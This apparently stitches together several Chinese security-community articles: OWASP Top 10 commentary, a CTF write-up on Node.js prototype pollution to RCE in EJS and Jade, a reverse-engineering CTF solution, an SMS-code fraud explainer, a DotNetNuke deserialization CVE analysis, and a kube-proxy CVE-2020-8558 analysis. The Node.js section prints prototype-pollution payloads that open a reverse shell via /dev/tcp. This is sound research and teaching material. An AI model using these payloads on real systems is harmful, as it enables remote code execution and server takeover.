A10 指出，"现代应用程序和API通常涉及丰富的客户端应用程序，例如浏览器中的JavaScrip和移动应用程序，连接到某种 API（SOAP /
XML，REST / JSON，RPC，GWT 等）。这些API通常是不受到保护的，并且包含许多漏洞。
安全性不足的API通常与安全性不足且GUI欠佳的web应用程序有关。越来越多的web应用程序其实只是在浏览器中运行，并且用于访问API的客户端而已。试图厘清APIs和web应用程序之间的区别只会将问题弄得更为混淆，而降低OWASP
Top 10的通用性。例如，我们该如何从API的角度来划分SQL注入漏洞的类别呢？它属于A1的漏洞还是A10的漏洞呢？
对于当前的2017候选版框架来说，它属于两者。将其划归A1是很合理的，但其归入A10也同样说得过去。其影响、缓解和优先级与A1类别联系紧密。而A10类别其本质说就是一种
API，它对整个系统产生了看似不必要地杂乱和冗余。其他的例子还有：
如果API不受保护的，那么它要么是A2-身份验证的问题，要么是A4授权的问题 （注意授权一词在此上下文中比较贴切）。
如果API包含了已知的、易受攻击软件的漏洞，那么它应该被涵括在A9中。
如果API暴露了敏感的数据，那么它应该被涵括在A6中。
如果API容易受到注入的攻击，那么它应该被涵括在A1中。
因此它没有必要单独成为一个自己的类别，相反应该往其他要求中添加API相关论述，从而让应用程序所有者们能够了解到这些问题，并且应用到API以及那些丰富的web应用程序中。
如果一定要有一个能够替代当前A10的类别，那么应该是
“备份和恢复的不安全或不足”，虽然它可能有点超出左边的标题范畴了。很多时候，应用程序并不能执行充分的备份或恢复机制。CIA三元素（confidentiality,
integrity和availability）的最后一部分就是可用性，但是它常在安全中被忽视。强健的信息备份对于应用程序容错能力来说是很重要的。备份问题的有趣之处就在于：它使得可能出现威胁场景中，甚至不需要有传统的攻击者就能造成损失。一个倒霉的管理员可以会擦除掉整个数据库或是源代码，以及价值数以百万美元的IP地址或数据可能会瞬间丢失。这些类型的问题通常不会成为新闻，因为它们往往被归咎为一些令人尴尬的错误，而不是由穿着连帽衫的黑客或是敌对民族国家所犯下的事端。不过随着web应用程序处理和存储着我们越来越多的个人数据，这些信息是否能通过可靠的备份和恢复策略予以安全地保存，比以往任何时候都更加重要了。
OWASP Top Ten影响到开发团队中的每个角色，从需要选择安全设计组件，以缓解OWASP Top
Ten中各种漏洞的架构师，到需要做代码防御的开发者，再到为安全和合规目的需要确保没有OWASP Top
Ten任何漏洞残留的测试人员。为了您和您的团队，请参阅检我们如下的免费OWASP资源吧：
**白皮书：** 通过对OWASP Top
Ten的实践，改进您的应用安全程序(<https://web.securityinnovation.com/owasp-top-ten-developers-perspective> )
**指南：** 通过对OWASP Top
Ten来简化应用程序的安全与合规(<https://web.securityinnovation.com/owasp-top-ten> )
**免费在线课程：** DES 225: OWASP
Top的威胁及缓解方法(<https://www.securityinnovation.com/course-catalog/application-security/secure-design/owasp-top-threats-and-mitigations-free> ) | 社区文章 |
## 引子
2019年12月09日，知识星球《代码审计》处理一道 nodejs 题目。（虽然我 11 号才在某群看到）
结果呢，非预期 RCE 了。（QAQ 我不是故意的）
### EJS RCE
题目，只有一个登录页面，不管发啥都是user err，也没得 cookie
及其他信息。怎么看都是原型链污染。`{"__proto__":{"xxx":{}}}`
首先，通过包含特殊关键词看报错信息，比如一些特殊变量或者对象内方法。
* body
* req
* app
* data
* toString
* valueOf
RangeError: Maximum call stack size exceeded
at merge (/root/prototype_pullotion/routes/index.js:32:15)
...
直觉判断是 ejs 做的模板，反手急速一个 ejs 的 rce 利用
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/6666 0>&1\"');var __tmp2"}}
反弹，getflag！
## JADE RCE 利用链挖掘
正题来了。
日穿上题之后我就想，ejs 有 rce，那么其他模板引擎有没有呢？
常见 Express 模板引擎有(包括但不限于如下)：
* jade
* pug
* ejs
* dust.js
* nunjunks
于是就开始了 Jade 审计，动调之路。
### 环境搭建
* [app.js](https://gist.github.com/virink/6238ea127b32e2f396658c53aa2aaf46)
* views/index.jade
yarn add express jade
# node app.js
Debug by VSCode
{
"version": "0.2.0",
"configurations": [{
"type": "node",
"request": "launch",
"name": "Launch Program",
"skipFiles": [
"<node_internals>/**"
],
"program": "${file}"
}]
}
### 调用栈梳理
根据模板渲染通用调用栈： `parse -> compile ->
render`梳理实际调用栈。可以直接静态分析（看就完事），也可以动态调试（还是看就完事）。最终梳理出一下调用栈：
1. app.js :: res.render
2. jade/lib/index.js :: exports.__express
3. jade/lib/index.js :: exports.renderFile
1. jade/lib/index.js :: handleTemplateCache
4. jade/lib/index.js :: exports.compile
1. jade/lib/index.js :: parse -> compiler.compile();
1. jade/lib/compiler.js :: Compiler.compile -> this.visit(this.node)
2. jade/lib/compiler.js :: this.visit
3. jade/lib/compiler.js :: this.buf.push
2. jade/lib/index.js :: parse -> options.self
3. jade/lib/index.js :: fn = new Function('locals, jade', fn)
4. jade/lib/index.js :: fn(locals, Object.create(runtime))
### 思路
**原型链污染** 利用的关键就是找到可以覆盖的属性或者方法。
~~总感觉这种注入方式跟 SSTI(服务器模板注入) 有区别，但是我又说不清楚什么。~~
这类漏洞的关键主要是在 compile编译 截断，通过原型链污染覆盖某些属性，在编译过程中注入模板，在渲染的时候就会执行我们注入的恶意代码。
限制：
* 保证能够执行到渲染阶段，因为覆盖某些属性会导致莫名其妙的异常
* 被覆盖的属性无硬编码默认值
#### Step 1 Jade 入口 exports.__express
exports.__express = function (path, options, fn) {
if (options.compileDebug == undefined && process.env.NODE_ENV === 'production') {
options.compileDebug = false;
}
exports.renderFile(path, options, fn);
}
**options.compileDebug** 无初始值，可以覆盖开启 Debug 模式
{"__proto__":{"compileDebug":1}}
但是覆盖后却报错
TypeError: plugin is not a function
at Parser.loadPlugins (./node_modules/acorn/dist/acorn.js:1629:7)
at new Parser (./node_modules/acorn/dist/acorn.js:1561:10)
at Object.parse (./node_modules/acorn/dist/acorn.js:905:10)
at reallyParse (./node_modules/acorn-globals/index.js:30:18)
at findGlobals (./node_modules/acorn-globals/index.js:45:11)
at addWith (./node_modules/with/index.js:44:28)
at parse (./node_modules/jade/lib/index.js:149:9)
at Object.exports.compile (./node_modules/jade/lib/index.js:205:16)
at handleTemplateCache (./node_modules/jade/lib/index.js:174:25)
at Object.exports.renderFile (./node_modules/jade/lib/index.js:381:10)
通过分析报错调用栈可知其异常发生在编译过程，因此我们继续往下看。
#### Step 2 编译过程 exports.compile
exports.compile = function (str, options) {
var options = options || {}
, filename = options.filename
? utils.stringify(options.filename)
: 'undefined'
, fn;
str = String(str);
var parsed = parse(str, options);
#### Step 3 编译解析 exports.compile -> parse
// ...
try {
// Parse
tokens = parser.parse();
} catch (err) {
// ...
// Compile
try {
js = compiler.compile();
}
// ...
var body = ''
+ 'var buf = [];\n'
+ 'var jade_mixins = {};\n'
+ 'var jade_interp;\n'
+ (options.self
? 'var self = locals || {};\n' + js
: addWith('locals || {}', '\n' + js, globals)) + ';'
+ 'return buf.join("");';
return { body: body, dependencies: parser.dependencies };
解析 -> 编译 -> 返回编译后代码。
此处我们可以发现报错入口 **addWith** ，只要不进入这个条件分支就可以避免报错了（具体异常原因请自行分析），也就是覆盖 self 为 true!
{"__proto__":{"compileDebug":1,"self":1}}
#### Step 4 编译解析 exports.compile -> parse -> compile
凭感觉， **parse** 可看可不看，本文主要分析编译过程，所以跳过 **parse**.
compile: function(){
this.buf = [];
if (this.pp) this.buf.push("var jade_indent = [];");
this.lastBufferedIdx = -1;
this.visit(this.node);
//...
return this.buf.join('\n');
}
编译后代码存放在 **this.buf** 中，通过 **this.visit(this.node);** 遍历分析 **parse** 产生的 AST 树
**this.node**
主要寻找有哪些可控、可覆盖的变量被添加到 **this.buf** 中。可以下断动调分析，同时还可以全局搜索`this.buf.push(`！
visit: function(node){
var debug = this.debug;
if (debug) {
this.buf.push('jade_debug.unshift(new jade.DebugItem( ' + node.line
+ ', ' + (node.filename
? utils.stringify(node.filename)
: 'jade_debug[0].filename')
+ ' ));');
}
// ...
this.visitNode(node);
if (debug) this.buf.push('jade_debug.shift();');
}
继续看代码可见 **node.line** 和 **node.filename** 在 debug 为真的时候进入了 buf。然而
**node.filename** 被 **utils.stringify** 处理过了，无法逃逸双引号。唯有考虑 line 是否可以被覆盖了。
另外 **this.debug** 哪里来？？
var Compiler = module.exports = function Compiler(node, options) {
this.debug = false !== options.compileDebug;
// ...
};
初始化 **Compiler** 的时候判断了 **options.compileDebug** ，over！
#### Step 5 注入测试
visit: function (node) {
var debug = this.debug;
// 注入测试
if (node.line == undefined) {
console.log(node)
}
一点一点的动调跟踪比较麻烦，直接写个判断
可见当 node 为 Block 的时候 line 是不存在的。
node.line == undefined
node.__proto__.line == undefined
理论上覆盖了 line 就可以达到注入的目的！
{"__proto__":{"compileDebug":1,"self":1,"line":"console.log('test inject')"}}
#### Step 6 RCE
{"__proto__":{"compileDebug":1,"self":1,"line":"console.log(global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/xxx/6666 0>&1\"'))"}}
## Ending
以上不算是漏洞，毕竟原型链污染是造出来的。所以本文算是存在原型链污染的前提对 Jade 的利用链挖掘。
当然我也在同时简单看了下 Pug 模板引擎，可惜，没挖出来。。。有兴趣的师傅可以去看看。
## Referer
> [XNUCA2019 Hardjs题解 从原型链污染到RCE](https://xz.aliyun.com/t/6113) | 社区文章 |
# BUGKU Reverse bingo题解
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
题目下载后得到一张图片
刚开始的时候没看分类，以为是 MISC 题，然后找了半天隐写内容，都没做找到，但是这个文件这么大，肯定是有问题。
然后又仔细找了一下，结果发现了这样一段内容，
看上去内容好像是 EXE 程序中才会有的，于是看了一下分类，好家伙，原来是 re 题。
百度了一下 png 文件尾
PNG (png)，
文件头：89504E47 文件尾：AE 42 60 82
搜索 AE 42 60 82
这不就是熟悉的 MZ 文件头吗，用 010 Editor 提取出这一段内容。
并重命名为 bingo.exe
结果报错了，随便找了一个 exe 文件，比对文件内容是否确实，发生少了 PE 文件头标识。
补上这一段内容。
数据补上后直接打开运行，发现可以显示黑框，但是运行后直接退出，于是打开 IDA 分析一下
ida 打开后似乎认不出来文件的其他内容，动态调试后发现这一段内容会出现异常的情况。
pusha
mov ecx, 3E000h
mov ebx, 1000h
mov ebx, 400000h
add ebx, edx
xor byte ptr [ebx], 22h
inc ebx
popa
jmp loc_408BE0
原因是 edx 的内容也是 400xxxh，相加之后到了 800xxx，超出了范围。
这里不知道是作者预期还是怎么的，反正应该是这个解密函数出现了问题。
但是看到这里应该就是一个 xor 解密 (xor 0x22)，所以直接在外部解密吧。
编写解密脚本：
#define MAXKEY 5000
#define MAXFILE 1000
#include <cstdio>
#include <cstring>
using namespace std;
int main()
{
char xor_key[MAXKEY], file_dir[MAXFILE];
char* buf;
//printf("xor key: ");
//scanf("%s", xor_key);
xor_key[0] = 0x22;
xor_key[1] = 0;
printf("file: ");
scanf("%s", file_dir);
FILE* fp = fopen(file_dir, "rb");
strcat(file_dir, ".xor");
FILE* fpw = fopen(file_dir, "wb+");
if (fp && fpw)
{
fseek(fp, 0, SEEK_END);
size_t size = ftell(fp);
fseek(fp, 0, SEEK_SET);
buf = new char[size];
fread(buf, sizeof(char), size, fp);
for (size_t i = 0, keySize = strlen(xor_key); i < size; i++)
buf[i] ^= xor_key[i % keySize];
fwrite(buf, sizeof(char), size, fpw);
}
if (fp) fclose(fp);
if (fpw) fclose(fpw);
return 0;
}
解密文件后，得到文件 **bingo.exe.xor** ，观察文件信息，发现实际上只有 **.text** 段进行了异或加密，其他内容都没有加密。
从文件中大量的 0x22 内容也可以看出来 (因为 0x00 ^ 0x22 = 0x22)
从 0xCC 就可以知道，应该是解密对了，因为 0xCC 对应的是 INT3 断点，也就是当段未初始化的时候，vs debug 模式下会赋值的内容。vs
中的烫烫烫也是这么来的。
替换.text 段的内容。
替换后得到的 exe 程序，直接运行当然还是不可以的，但是可以放到 ida 中解析各个函数了。
但是没有任何的符号信息，难以阅读。所以我还是打算调整程序让其可以正常运行。
打开 ida 后，定位到 start 处
直接用 Keypatch（ida 插件）进行修改，让其直接跳到程序真正的入口点 (jmp sub_408BE0)。
修改后进行保存
发现程序以及可以成功运行。
重新载入后发现，接下来发现程序的符号信息就有了。
可以看出，程序对输入内容进行加密后与程序中 off_443DC0 (zaciWjV!Xm [_XSqeThmegndq) 进行比对。
这里的加密方法就是对你输入值 (c) 进行平方，然后再加上一个参数 (b)，最后解出来 a。
满足关系式: a^2 + b^2 = c^2。
本来以为直接解密就好了，没想到这里还有一个函数_strrev (v6);
他的作用是把字符串信息倒置，所以最后显示的顺序也会变换。
由于这里 sqrt 还有个精度问题，我这里就不进行逆运算了，也就是
c = sqrt(a^2 + b^2)
直接编写程序爆破 c 的内容。
解密程序
#include <cstdio>
#include <algorithm>
#include <string.h>
using namespace std;
int main()
{
char s[] = "zaciWjV!Xm[_XSqeThmegndq";
char e[] = " ";
char* v6 = (char*)operator new(strlen(s) + 1);
memset(v6, 0, strlen(s) + 1);
for (int i = 0; i < strlen(s); i++)
{
v6[i] = 'a' + i;
_strrev(v6);
}
for (int i = 0; i < strlen(s); i++) e[v6[i] - 'a'] = s[i];
printf("%s\n", v6);
printf("%s\n", e);
int a2 = 0x34;
for (int i = 0; i < strlen(s); ++i)
{
for (char t = 1; t < 0xFF; t++)
{
int v2 = (signed __int64)pow((double)a2, 2.0);
signed int v3 = (unsigned __int64)(signed __int64)pow((double)t, 2.0);
v3 -= v2;
v6[i] = (signed __int64)(sqrt((double)v3) + 0.5);
if (v6[i] == e[i])
{
printf("%c", t);
break;
}
}
--a2;
}
return 0;
}
运行后可以得到：flag {woc_6p_tql_moshifu} | 社区文章 |
# 死守银行卡密码没用，泄露了这个数据，你的钱任人拿！
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
没丢手机，没丢卡，没扫二维码
没点链接，没连WiFi，没被换卡
钱怎么就不见了？
近日，某网友一夜之间手机收到的100多条验证码被劫持，支付宝等账号全部被盗刷还欠上贷款，实属骇人听闻。其实，盗刷时有发生，从近期360手机先赔用户举报的案件来看，遭遇盗刷的用户都是由于泄露了手机验证码！
不难看出，用户的潜意识里认为，只要账户密码不透露给他人就是安全的，其实不然。不法分子在掌握了用户信息后，账户信息+验证码也可以完成支付行为。通过对网上银行快捷支付、银联等渠道支付环节进行还原，在用户没有产生支付行为的前提下，不法分子套取了交易验证码到底可以做什么？
## 网上银行支付
Step 1：银行账号+手机号验证
Step 2：输入动态验证码，即可完成付款
## 电商平台支付
快捷支付成为各大电商的主要付款方式之一。在电商平台首次选择快捷支付时，输入持卡信息+验证码，即可开通快捷支付功能并完成订单支付。
## 银联支付
Step 1：输入银行卡号
Step 2：输入动态验证码，即可完成付款
以上支付过程中手机获取的验证码，其实就是动态的支付密码，一旦泄露，骗子可以轻而易举的转空你钱！
## 守住验证码就一定安全吗？并不是！
目前很多App都有读取短信的权限，只要这些App中的任意一个存在漏洞，或者干脆本身就是恶意的，骗子读取你的短信验证码轻而易举！
有些手机具有自动把短信备份到云端的功能，如果开启了这个功能，那么攻击者只要掌握了你的云端账号，就可以访问到短信。
虽然目前国内3G/4G已经普及，但大部分地区只是上网走3G/4G，短信还是通过GSM网络在发送，而GSM是非常容易被监听的。
“简单的密码基本没什么用，都在黑客的密码字典里。”
## 个人隐私泄露多源头
用户信息泄露的渠道很多，黑客拖库、网站出售、各类电商订单等渠道都可以成为用户信息泄露的源头，比如订酒店提供的姓名、身份证号、手机号，如果该酒店管理不严或系统存在漏洞，用户会在一瞬间泄露三个关键信息。
## 隐私黑市贩卖明码标价
许多资金被盗、诈骗案件的背后都有地下黑库信息的推波助澜。隐私贩卖黑市上每天都有数据巨大的个人信息在集散、交易，“只有你想不到的，没有你买不到的”、“只提供一个手机号码，就能买到一个人的身份信息、通话记录、位置信息、打车记录等多项隐私”，这些隐私明码标价，所能购买的信息覆盖面之广令人震惊。
## 隐私贩卖产业链成熟，分工明确
流程大致分为开发制作、批发零售、诈骗实施、分赃销赃四个流程： | 社区文章 |
# 【漏洞分析】DotNetNuke 任意代码执行漏洞(CVE-2017-9822)分析预警
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
作者：k1n9 & RickyHao@360CERT
0x00 背景介绍
DNN uses web cookies to identify users. A malicious user can decode one of
such cookies and identify who that user is, and possibly impersonate other
users and even upload malicious code to the server.
–DNN security-center
2017 年 7 月 5 日，DNN 安全板块发布了一个编号 CVE-2017-9822 的严重漏洞 ，随后漏洞报告者 Alvaro Muñoz
([@pwntester](https://twitter.com/pwntester))和 Oleksandr Mirosh在 BlackHat USA
2017 上披露了其中的一些细节。
360CERT 跟进分析了该漏洞及其在.net 中使用 XmlSerializer 进行序列化/反序列化的攻击利用场景，确认为严重漏洞。
**0x01 漏洞概述**
DNNPersonalization 是一个在 DNN 中用于存放未登录用户的个人数据 的 Cookie，该 Cookie
可以被攻击者修改从而实现对服务器进行任意文件上传，远程代码执行等攻击。
**0x02 漏洞攻击面影响**
**1\. 影响面**
漏洞等级： 严重
据称，全球有超过 75 万的用户在使用 DNN 来搭建他们的网站，影响范围大。
**2.影响版本**
从 5.0.0 到 9.1.0 的所有版本
**3\. 修复版本**
DNN Platform 9.1.1 和 EVOQ 9.1.1
**0x03 漏洞详情**
**1\. 漏洞代码**
PersonalizationController.cs 66-72 行：
从 Cookie 中获取到 DNNPersonalization 的值后再传给 Globals 中的DeserializeHashTableXml 方法。
Globals.cs 3687-3690 行：
再跟进 XmlUtils 中的 DeSerializeHashtable 方法。
XmlUtils.cs 184-218 行：
该方法会使用 item 元素中的 type 属性值来设置类型，并且会在 208
行这里将该元素的内容进行反序列化，这里便是漏洞的触发点了。漏洞代码中从可控输入点到最终可利用处的这个过程还是比较直观的，接下来是针对像这样使用了XmlSerializer
来反序列化的漏洞点进行攻击利用分析。
**0x04 攻击利用分析**
**1\. XmlSerializer 的使用**
在对一个类进行序列化或者反序列化的时候都需要传入该类的类型信息。看 下生成的序列化数据形式：
就是一个 XML 文档，类名和成员变量都是元素来表示。
**2\. 利用链的构造**
修改下上面的 TestClass 类，对其中的成员变量 test 进行封装。
这时候再去观察代码在反序列化时的输出，可以明显知道 setter 被自动调用 了，因此 setter
便可以作为利用链的第一步。接下来就是要去找一些可以被用作攻击使用的类了。
System.Windows.Data.ObjectDataProvider 可以调用任意在运行时被引用的类的任意方法。一个例子：
相当 于 调 用 了 TestClass.FuncExample(“JustATest!”) ，ObjectDataProvider
中的成员变量都进行了封装的，并且每次调用了 setter 后都会检测参数是否足够，足够了的话便会自动去调用传入的方法。其中的过程借 用 BlackHat
议题中的一张图来展示。
如此一来要是被序列化的是一个 ObjectDataProvider 类，那么在反序列的
时候便可以做到任意方法调用的效果。再找一个存在能达到想要的利用效果的方 法的类就行了，例如 DNN 中的就存在一个可以做到任意文件上传效果的类，
DotNetNuke.Common.Utilities.FileSystemUtils 中的 PullFile 方法：
**3\. Payload 生成**
要生成 payload 还有一点问题需要解决，就是 ObjectDataProvider 包含一 个 System.Object
成员变量（objectInstance），执行的时候 XmlSerializer
不知道这个变量具体的类型，导致没法序列化。但是这个问题可以通过使用ExpandedWrapper 扩展属性的类型来解决。
生成的内容如下：
DNN 是通过获取 item 的属性 type 的值，然后调用 Type.GetType
来得到序列化数据的类型再进行反序列化。这样的话需要加上相应的程序集的名称才行， 可以通过下面的代码得到 type 的值：
结合 DNN 的代码生成最终的 Payload:
**0x05 漏洞利用验证**
将漏洞触发点所在 DeSerializeHashtable 函数放到本地来做一个漏洞利用验证。
再看服务器端，可以看到漏洞利用成功。
**0x06 修复建议**
360CERT 建议升级到最新的版本 DNN Platform 9.1.1 或者 EVOQ 9.1.1。
**0x07 时间线**
2017-7-5 官方发布安全公告并提供修复更新
2017-8-2 360CERT 完成对漏洞的分析并形成报告
**0x08 参考文档**
[https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Frida y-The-13th-Json-Attacks.pdf](http://https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Frida%20y-The-13th-Json-Attacks.pdf) | 社区文章 |
* * *
## title: CVE-2020-8558-跨主机访问127.0.0.1
# 背景
假设机器A和机器B在同一个局域网，机器A使用`nc -l 127.0.0.1 8888`，在机器B上可以访问机器A上"仅绑定在127.0.0.1的服务"吗？
[root@instance-h9w7mlyv ~]# nc -l 127.0.0.1 8888 &
[1] 44283
[root@instance-h9w7mlyv ~]# netstat -antp|grep 8888
tcp 0 0 127.0.0.1:8888 0.0.0.0:* LISTEN 44283/nc
> nc用法可能不同，有的使用 nc -l 127.0.0.1 -p 8888 监听8888端口
kubernetes的kube-proxy组件之前披露过CVE-2020-8558漏洞，这个漏洞就可以让"容器内的恶意用户、同一局域网其他机器"访问到node节点上"仅绑定在127.0.0.1的服务"。这样有可能访问到监听在本地的"kubernetes无需认证的apiserver"，进而控制集群。
本文会带你做两种网络环境(vpc和docker网桥模式)下的漏洞原理分析，并复现漏洞。
# 漏洞分析
## 怎么复现？
先说最终结果，我已经做好基于[terraform](https://www.terraform.io/)的[漏洞靶场](https://github.com/HuoCorp/TerraformGoat/blob/main/kubernetes/kube-proxy/CVE-2020-8558/README_CN.md)。
> terraform可以基于声明式api编排云上的基础设施(虚拟机、网络等)
你也可以按照文章后面的步骤来复现漏洞。
## 为什么可以访问其他节点的"仅绑定在127.0.0.1的服务"？
假设实验环境是，一个局域网内有两个节点A和B、交换机，ip地址分别是ip_a和ip_b，mac地址分别是mac_a和mac_b。
来看看A机器访问B机器时的一个攻击场景。
如果在tcp握手时，A机器构造一个"恶意的syn包"，数据包信息是：
源ip | 源mac | 目的ip | 目的mac | 目的端口 | 源端口
---|---|---|---|---|---
ip_a | mac_a | 127.0.0.1 | mac_b | 8888 | 44444(某个随机端口)
此时如果交换机只是根据mac地址做数据转发，它就将syn包发送给B。
syn包的数据流向是：A -> 交换机 -> B
B机器网卡在接收到syn包后：
* 链路层：发现目的mac是自己，于是扔给网络层处理
* 网络层：发现ip是本机网卡ip，看来要给传输层处理，而不是转发
* 传输层：发现当前"网络命名空间"确实有服务监听 `127.0.0.1:8888`, 和 "目的ip:目的端口" 可以匹配上，于是准备回复syn-ack包
> 从"内核协议栈"角度看，发送包会经过"传输层、网络层、链路层、设备驱动"，接受包刚好相反，会经过"设备驱动、链路层、网络层、传输层"
syn-ack数据包信息是:
源ip | 源mac | 目的ip | 目的mac | 目的端口 | 源端口
---|---|---|---|---|---
127.0.0.1 | mac_b | ip_a | mac_a | 44444(某个随机端口) | 8888
syn-ack包的数据流向是：B -> 交换机 -> A
A机器网卡在收到syn-ack包后，也会走一遍"内核协议栈"的流程，然后发送ack包，完成tcp握手。
这样A就能访问到B机器上"仅绑定在127.0.0.1的服务"。所以，在局域网内，恶意节点"似乎"很容易就能访问到其他节点的"仅绑定在127.0.0.1的服务"。
但实际上，A访问到B机器上"仅绑定在127.0.0.1的服务"会因为两大类原因失败：
* 交换机有做检查，比如它不允许数据包的目的ip地址是127.0.0.1，这样第一个syn包就不会转发给B，tcp握手会失败。公有云厂商的交换机(比如ovs)应该就有类似检查，所以我在某个公有云厂商vpc网络环境下测试，无法成功复现漏洞。
* 数据包到了主机，但是因为ip是127.0.0.1，很特殊，所以"内核协议栈"为了安全把包丢掉了。
所以不能在云vpc环境下实验，于是我选择了复现"容器访问宿主机上的仅绑定在127.0.0.1的服务"。
先来看一下，"内核协议栈"为了防止恶意访问"仅绑定在127.0.0.1的服务"都做了哪些限制。
# "内核协议栈"做了哪些限制？
先说结论，下面三个内核参数都会影响
* route_localnet
* rp_filter
* accept_local
以docker网桥模式为例，想要在docker容器中访问到宿主机的"仅绑定在127.0.0.1的服务"，就需要：
* 宿主机上 route_localnet=1
* docker容器中 rp_filter=0、accept_local=1、route_localnet=1
宿主机网络命名空间中
[root@instance-h9w7mlyv ~]# sysctl -a|grep route_localnet
net.ipv4.conf.all.route_localnet = 1
net.ipv4.conf.default.route_localnet = 1
...
容器网络命名空间中
[root@instance-h9w7mlyv ~]# sysctl -a|grep accept_local
net.ipv4.conf.all.accept_local = 1
net.ipv4.conf.default.accept_local = 1
net.ipv4.conf.eth0.accept_local = 1
[root@instance-h9w7mlyv ~]# sysctl -a|grep '\.rp_filter'
net.ipv4.conf.all.rp_filter = 0
net.ipv4.conf.default.rp_filter = 0
net.ipv4.conf.eth0.rp_filter = 0
...
> 容器中和宿主机中因为是不同的网络命名空间，所以关于网络的内核参数是隔离的，并一定相同。
# route_localnet配置
## 是什么？
[内核文档](https://www.kernel.org/doc/Documentation/networking/ip-sysctl.txt)提到route_localnet参数，如果route_localnet等于0，当收到源ip或者目的ip是"loopback地址"(127.0.0.0/8)时，就会认为是非法数据包，将数据包丢弃。
> 宿主机上curl 127.0.0.1时，源ip和目的都是127.0.0.1，此时网络能正常通信，说明数据包并没有被丢弃。说明这种情景下，没有调用到
> ip_route_input_noref 函数查找路由表。
CVE-2020-8558漏洞中，kube-proxy设置route_localnet=1，导致关闭了上面所说的检查。
## 内核协议栈中哪里用route_localnet配置来检查？
<https://elixir.bootlin.com/linux/v4.18/source/net/ipv4/route.c#L1912>
ip_route_input_slow 函数中用到 route_localnet配置，如下：
/*
* NOTE. We drop all the packets that has local source
* addresses, because every properly looped back packet
* must have correct destination already attached by output routine.
*
* Such approach solves two big problems:
* 1. Not simplex devices are handled properly.
* 2. IP spoofing attempts are filtered with 100% of guarantee.
* called with rcu_read_lock()
*/
static int ip_route_input_slow(struct sk_buff *skb, __be32 daddr, __be32 saddr,
u8 tos, struct net_device *dev,
struct fib_result *res)
{
...
/* Following code try to avoid calling IN_DEV_NET_ROUTE_LOCALNET(),
* and call it once if daddr or/and saddr are loopback addresses
*/
if (ipv4_is_loopback(daddr)) { // 目的地址是否"loopback地址"
if (!IN_DEV_NET_ROUTE_LOCALNET(in_dev, net)) // localnet配置是否开启。net是网络命名空间，in_dev是接收数据包设备配置信息
goto martian_destination; // 认为是非法数据包
} else if (ipv4_is_loopback(saddr)) { // 源地址是否"loopback地址"
if (!IN_DEV_NET_ROUTE_LOCALNET(in_dev, net))
goto martian_source; // 认为是非法数据包
}
...
err = fib_lookup(net, &fl4, res, 0); // 查找"路由表"，res存放查找结果
...
if (res->type == RTN_BROADCAST)
...
if (res->type == RTN_LOCAL) { // 数据包应该本机处理
err = fib_validate_source(skb, saddr, daddr, tos,
0, dev, in_dev, &itag); // "反向查找", 验证源地址是否有问题
if (err < 0)
goto martian_source;
goto local_input; // 本机处理
}
if (!IN_DEV_FORWARD(in_dev)) { // 没有开启ip_forward配置时，认为不支持 转发数据包
err = -EHOSTUNREACH;
goto no_route;
}
...
err = ip_mkroute_input(skb, res, in_dev, daddr, saddr, tos, flkeys); // 认为此包需要"转发"
}
static int ip_rcv_finish(struct net *net, struct sock *sk, struct sk_buff *skb)
{
...
/*
* Initialise the virtual path cache for the packet. It describes
* how the packet travels inside Linux networking.
*/
if (!skb_valid_dst(skb)) { // 是否有路由缓存. 宿主机curl 127.0.0.1时，就有缓存，不用查找路由表。
err = ip_route_input_noref(skb, iph->daddr, iph->saddr,
iph->tos, dev); // 查找路由表
if (unlikely(err))
goto drop_error;
}
...
return dst_input(skb); // 将数据包交给tcp层(ip_local_deliver) 或 转发数据包(ip_forward)
在收到数据包时，从ip层来看，数据包会经过 ip_rcv(ip层入口函数) -> ip_rcv_finish -> ip_route_input_slow。
在ip_route_input_slow函数中可以看到，如果源ip或者目的ip是"loopback地址"，并且接收数据包的设备没有配置route_localnet选项时，就会认为是非法数据包。
# rp_filter和accept_local
## 是什么？
[内核网络参数详解](https://www.kernel.org/doc/Documentation/networking/ip-sysctl.txt)
提到，rp_filter=1时，会严格验证源ip。
怎么检查源ip呢？就是收到数据包后，将源ip和目的ip对调，然后再查找路由表，找到会用哪个设备回包。如果"回包的设备"和"收到数据包的设备"不一致，就有可能校验失败。这个也就是后面说的"反向检查"。
## 内核协议栈中哪里用rp_filter和accept_local配置来检查？
上面提到 收到数据包时，从ip层来看，会执行 ip_route_input_slow 函数查找路由表。
ip_route_input_slow 函数会执行 fib_validate_source 函数执行
"验证源ip"，会使用到rp_filter和accept_local配置
<https://elixir.bootlin.com/linux/v4.18/source/net/ipv4/fib_frontend.c#L412>
/* Ignore rp_filter for packets protected by IPsec. */
int fib_validate_source(struct sk_buff *skb, __be32 src, __be32 dst,
u8 tos, int oif, struct net_device *dev,
struct in_device *idev, u32 *itag)
{
int r = secpath_exists(skb) ? 0 : IN_DEV_RPFILTER(idev); // r=rp_filter配置
struct net *net = dev_net(dev);
if (!r && !fib_num_tclassid_users(net) &&
(dev->ifindex != oif || !IN_DEV_TX_REDIRECTS(idev))) { // dev->ifindex != oif 表示 不是lo虚拟网卡接收到包
if (IN_DEV_ACCEPT_LOCAL(idev)) // accept_local配置是否打开。idev是接受数据包的网卡配置
goto ok;
/* with custom local routes in place, checking local addresses
* only will be too optimistic, with custom rules, checking
* local addresses only can be too strict, e.g. due to vrf
*/
if (net->ipv4.fib_has_custom_local_routes ||
fib4_has_custom_rules(net)) // 检查"网络命名空间"中是否有自定义的"策略路由"
goto full_check;
if (inet_lookup_ifaddr_rcu(net, src)) // 检查"网络命名空间"中是否有设备的ip和源ip(src值)相同
return -EINVAL;
ok:
*itag = 0;
return 0;
}
full_check:
return __fib_validate_source(skb, src, dst, tos, oif, dev, r, idev, itag); // __fib_validate_source中会执行"反向检查源ip"
}
当在容器中`curl 127.0.0.1 --interface eth0`时，有一些结论：
* 宿主机收到请求包时，无论 accept_local和rp_filter是啥值，都通过fib_validate_source检查
* 容器中收到请求包时，必须要设置 accept_local=1、rp_filter=0，才能不被"反向检查源ip"
